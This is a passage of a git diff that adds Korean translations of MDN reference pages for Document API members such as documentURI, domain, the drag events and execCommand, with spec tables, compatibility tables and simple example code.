문서의 루트 요소를 가리킵니다.</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.documentElement")}}</p> diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..51f8d795c8 --- /dev/null +++ b/files/ko/web/api/document/documenturi/index.html @@ -0,0 +1,116 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - URL + - documentURI +translation_of: Web/API/Document/documentURI +--- +<div>{{ApiRef("DOM")}}</div> + +<p>{{domxref("Document")}} 인터페이스의 <code><strong>documentURI</strong></code> 속성은 document location 을 string 으로 반환합니다.</p> + +<p>DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <var>string</var> = document.documentURI; +</pre> + +<h2 id="Notes">Notes</h2> + +<p>HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. <code>URL </code>과는 달리, <code>documentURI</code> 는 모든 타입의 documents 에서 이용 가능합니다.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>DOM3 behavior</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>DOM4 behavior</td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>DOM3 behavior</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>DOM4 behavior</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(43.0)}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html new file mode 100644 index 0000000000..35bed661f7 --- /dev/null +++ b/files/ko/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +<div>{{ApiRef}}</div> + +<p>{{domxref("Document")}} 인터페이스의 <strong><code>domain</code></strong> 속성은 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.</p> + +<p><code>domain</code> 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.</p> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">const <var>domainString</var> = <var>document</var>.domain +<var>document</var>.domain = <var>domainString</var></pre> + +<h3 id="값">값</h3> + +<p>현재 문서 출처의 도메인 부분.</p> + +<h3 id="예외">예외</h3> + +<dl> + <dt><code>SecurityError</code></dt> + <dd>다음 상황에서 <code>domain</code>을 변경하려 시도한 경우. + <ul> + <li>샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서</li> + <li>{{glossary("browsing context", "브라우징 맥락")}}이 없는 문서</li> + <li>문서의 <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">유효 도메인</a>이 <code>null</code></li> + <li>주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우</li> + <li>{{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우</li> + </ul> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="도메인_가져오기">도메인 가져오기</h3> + +<p><code>http://developer.mozilla.org/en-US/docs/Web</code> 주소에서, 다음 코드는 <code>currentDomain</code> 변수에 "<code>developer.mozilla.org</code>" 문자열을 할당합니다.</p> + +<pre class="brush:js">const currentDomain = document.domain;</pre> + +<h3 id="창_닫기">창 닫기</h3> + +<p>어느 문서, 예컨대 <code>www.example.xxx/good.html</code> 등이 <code>www.example.com</code>의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.</p> + +<pre class="brush:js">const badDomain = "www.example.xxx"; + +if (document.domain == badDomain) { + // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음) + window.close(); +} +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<div>{{Compat("api.Document.domain")}}</div> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a></li> +</ul> diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..cdf5f4222f --- /dev/null +++ b/files/ko/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop +translation_of: Web/API/Document/drag_event +--- +<div>{{APIRef}}</div> + +<div></div> + +<p><code>drag</code> 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">이벤트 버블링</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">이벤트 취소</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">기본 액션</th> + <td>드래그 앤 드롭을 계속한다.</td> + </tr> + <tr> + <th scope="row">인터페이스</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">이벤트 핸들러 속성</th> + <td>{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples">Examples</h2> + +<p><a href="http://jsfiddle.net/zfnj5rv4/">JSFiddle demo</a>에서 이 코드를 보거나 아래에서 상호작용 하십시오.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><div class="dropzone"> + <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> + This div is draggable + </div> +</div> +<div class="dropzone"></div> +<div class="dropzone"></div> +<div class="dropzone"></div> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css notranslate">#draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; +} + +.dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; +} +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate">var dragged; + +/* 드래그 가능한 대상에서 이벤트 발생 */ +document.addEventListener("drag", function(event) { + +}, false); + +document.addEventListener("dragstart", function(event) { + // 드래그한 요소에 대한 참조 변수 + dragged = event.target; + // 요소를 반투명하게 함 + event.target.style.opacity = .5; +}, false); + +document.addEventListener("dragend", function(event) { + // 투명도를 리셋 + event.target.style.opacity = ""; +}, false); + +/* 드롭 대상에서 이벤트 발생 */ +document.addEventListener("dragover", function(event) { + // 드롭을 허용하도록 prevetDefault() 호출 + event.preventDefault(); +}, false); + +document.addEventListener("dragenter", function(event) { + // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경 + if (event.target.className == "dropzone") { + event.target.style.background = "purple"; + } + +}, false); + +document.addEventListener("dragleave", function(event) { + // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋 + if (event.target.className == "dropzone") { + event.target.style.background = ""; + } + +}, false); + +document.addEventListener("drop", function(event) { + // 기본 액션을 막음 (링크 열기같은 것들) + event.preventDefault(); + // 드래그한 요소를 드롭 대상으로 이동 + if (event.target.className == "dropzone") { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } +}, false);</pre> + +<p>{{EmbedLiveSample('Examples', '300', '200', '')}}</p> + +<h2 id="사양">사양</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<div class="hidden">이 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하여 pull request를 보내주세요.</div> + +<p>{{Compat("api.Document.drag_event")}}</p> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>다른 드래그 앤 드롭 이벤트: + <ul> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>다른 대상의 <code>drag</code> 이벤트: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/drag_event", "drag")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drag_event", "drag")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drag_event", "drag")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..3849f39274 --- /dev/null +++ b/files/ko/web/api/document/dragend_event/index.html @@ -0,0 +1,97 @@ +--- +title: 'Document: dragend event' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend +translation_of: Web/API/Document/dragend_event +--- +<div>{{APIRef}}</div> + +<p><code>dragend</code>는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 <kbd>ESC</kbd> 키를 누른 경우).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">이벤트 버블링</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">이벤트 취소</th> + <td>No</td> + </tr> + <tr> + <th scope="row">기본 액션</th> + <td>Varies</td> + </tr> + <tr> + <th scope="row">인터페이스</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">이벤트 핸들러 속성</th> + <td>{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}</td> + </tr> + </tbody> +</table> + +<h2 id="예제">예제</h2> + +<p><a href="/en-US/docs/Web/API/Document/drag_event">drag</a> 이벤트의 예제 코드나 이 <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>를 참고하세요.</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">비고</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.dragend_event")}}</p> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>다른 드래그 앤 드롭 이벤트: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>다른 대상의 <code>drag</code> 이벤트: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragend_event", "dragend")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragend_event", "dragend")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragend_event", "dragend")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..ab3eb2adf2 --- /dev/null +++ b/files/ko/web/api/document/dragstart_event/index.html @@ -0,0 +1,90 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - Event + - Reference + - drag and drop +translation_of: Web/API/Document/dragstart_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>dragstart</code></strong> 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">버블링</th> + <td>가능</td> + </tr> + <tr> + <th scope="row">취소</th> + <td>가능</td> + </tr> + <tr> + <th scope="row">기본 액션</th> + <td>드래그 앤 드랍 작업 초기화.</td> + </tr> + <tr> + <th scope="row">인터페이스</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">이벤트 처리기 속성</th> + <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="예제">예제</h2> + +<p><a href="/ko/docs/Web/API/Document/drag_event">드래그 이벤트</a>의 예제를 참고하세요.</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">비고</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.dragstart_event")}}</p> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>다른 드래그 앤 드랍 이벤트 + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>다른 대상의 같은 이벤트 + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} 이벤트</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} 이벤트</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} 이벤트</li> + </ul> + </li> +</ul> diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html new file mode 100644 index 0000000000..776eccc0e7 --- /dev/null +++ b/files/ko/web/api/document/embeds/index.html @@ -0,0 +1,36 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - embeds +translation_of: Web/API/Document/embeds +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Summary" name="Summary">Summary</h3> + +<p><code>embeds </code>는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.</p> + +<h3 id="Syntax" name="Syntax">Syntax</h3> + +<pre class="eval"><em>nodeList</em> = document.embeds +</pre> + +<h3 id="Specifications" name="Specifications">Specifications</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..47ec3b3de2 --- /dev/null +++ b/files/ko/web/api/document/execcommand/index.html @@ -0,0 +1,157 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +translation_of: Web/API/Document/execCommand +--- +<div>{{ApiRef("DOM")}}</div> + +<p>HTML 문서가 <code>designMode</code>로 전환되면 문서에서 <code>execCommand</code> 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(<em>볼드, 이탤릭 등</em>)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. <code>contentEditable</code>을 사용할 때에 <code>execCommand()</code>를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.</p> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>) +</pre> + +<h3 id="반환값">반환값</h3> + +<p>명령어가 지원되지 않거나 활성화되어 있지 않으면 <code>false</code> {{jsxref('Boolean')}} 값을 반환합니다.</p> + +<h3 id="매개_변수">매개 변수</h3> + +<dl> + <dt><code>aCommandName</code></dt> + <dd>실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.</dd> + <dt><code>aShowDefaultUI</code></dt> + <dd>기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.</dd> + <dt><code>aValueArgument</code></dt> + <dd>입력 변수가 필요한 명령어(<code>insertImage</code>와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 <code>null</code>을 표기합니다.</dd> +</dl> + +<h3 id="명령어">명령어</h3> + +<dl> + <dt><code>backColor</code></dt> + <dd>문서의 배경색을 변경합니다. <code>styleWithCss</code> 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("<color>")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.</dd> + <dt><code>bold</code></dt> + <dd>선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.</dd> + <dt><code>contentReadOnly</code></dt> + <dd>내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>copy</code></dt> + <dd>클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd> + <dt><code>createLink</code></dt> + <dd>선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd> + <dt><code>cut</code></dt> + <dd>현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd> + <dt><code>decreaseFontSize</code></dt> + <dd>선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>delete</code></dt> + <dd>현재 선택 영역을 지웁니다.</dd> + <dt><code>enableInlineTableEditing</code></dt> + <dd>표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>enableObjectResizing</code></dt> + <dd>이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.</dd> + <dt><code>fontName</code></dt> + <dd>선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(<code>예를 드러 "Arial"</code>)을 넘겨야 합니다.</dd> + <dt><code>fontSize</code></dt> + <dd>선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(<code>1</code>-<code>7</code>)을 넘겨야 합니다.</dd> + <dt><code>foreColor</code></dt> + <dd>선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.</dd> + <dt><code>formatBlock</code></dt> + <dd>현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그 H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 < >를 써서 "<H1>"와 같이 사용해야 합니다.)</dd> + <dt><code>forwardDelete</code></dt> + <dd><a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">커서</a> 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.</dd> + <dt><code>heading</code></dt> + <dd>선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)</dd> + <dt><code>hiliteColor</code></dt> + <dd>선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>increaseFontSize</code></dt> + <dd>선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>indent</code></dt> + <dd>선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.</dd> + <dt><code>insertBrOnReturn</code></dt> + <dd>엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>insertHorizontalRule</code></dt> + <dd>입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).</dd> + <dt><code>insertHTML</code></dt> + <dd>입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd> + <dt><code>insertImage</code></dt> + <dd>입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd> + <dt><code>insertOrderedList</code></dt> + <dd>선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.</dd> + <dt><code>insertUnorderedList</code></dt> + <dd>선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.</dd> + <dt><code>insertParagraph</code></dt> + <dd>선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)</dd> + <dt><code>insertText</code></dt> + <dd>입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).</dd> + <dt><code>italic</code></dt> + <dd>선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)</dd> + <dt><code>justifyCenter</code></dt> + <dd>선택 영역이나 입력 위치를 가운데 정렬합니다.</dd> + <dt><code>justifyFull</code></dt> + <dd>선택 영역이나 입력 위치를 양쪽 정렬합니다.</dd> + <dt><code>justifyLeft</code></dt> + <dd>선택 영역이나 입력 위치를 좌측 정렬합니다.</dd> + <dt><code>justifyRight</code></dt> + <dd>선택 영역이나 입력 위치를 우측 정렬합니다.</dd> + <dt><code>outdent</code></dt> + <dd>선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.</dd> + <dt><code>paste</code></dt> + <dd>입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].</dd> + <dt><code>redo</code></dt> + <dd>이전에 실행 취소된 명령을 다시 실행합니다.</dd> + <dt><code>removeFormat</code></dt> + <dd>현재 선택 영역의 모든 문서 형식을 제거합니다.</dd> + <dt><code>selectAll</code></dt> + <dd>편집 가능 영역의 모든 내용을 선택합니다.</dd> + <dt><code>strikeThrough</code></dt> + <dd>선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.</dd> + <dt><code>subscript</code></dt> + <dd>선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.</dd> + <dt><code>superscript</code></dt> + <dd>선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.</dd> + <dt><code>underline</code></dt> + <dd>선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.</dd> + <dt><code>undo</code></dt> + <dd>직전에 실행된 명령을 취소합니다.</dd> + <dt><code>unlink</code></dt> + <dd>선택된 링크에서 링크 태그를 제거합니다.</dd> + <dt><code>useCSS</code> {{Deprecated_inline}}</dt> + <dd>생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 <em>styleWithCSS</em> 명령어를 사용하세요.</dd> + <dt><code>styleWithCSS</code></dt> + <dd><em>useCSS</em> 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 <em>style</em> 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<p>CodePen의 <a href="http://codepen.io/netsi1964/full/QbLLGW/">how to use</a>를 참고하세요.</p> + +<h2 id="명세">명세</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{Compat("api.Document.execCommand")}}</p> + +<h2 id="참고">참고</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li> + <li><a 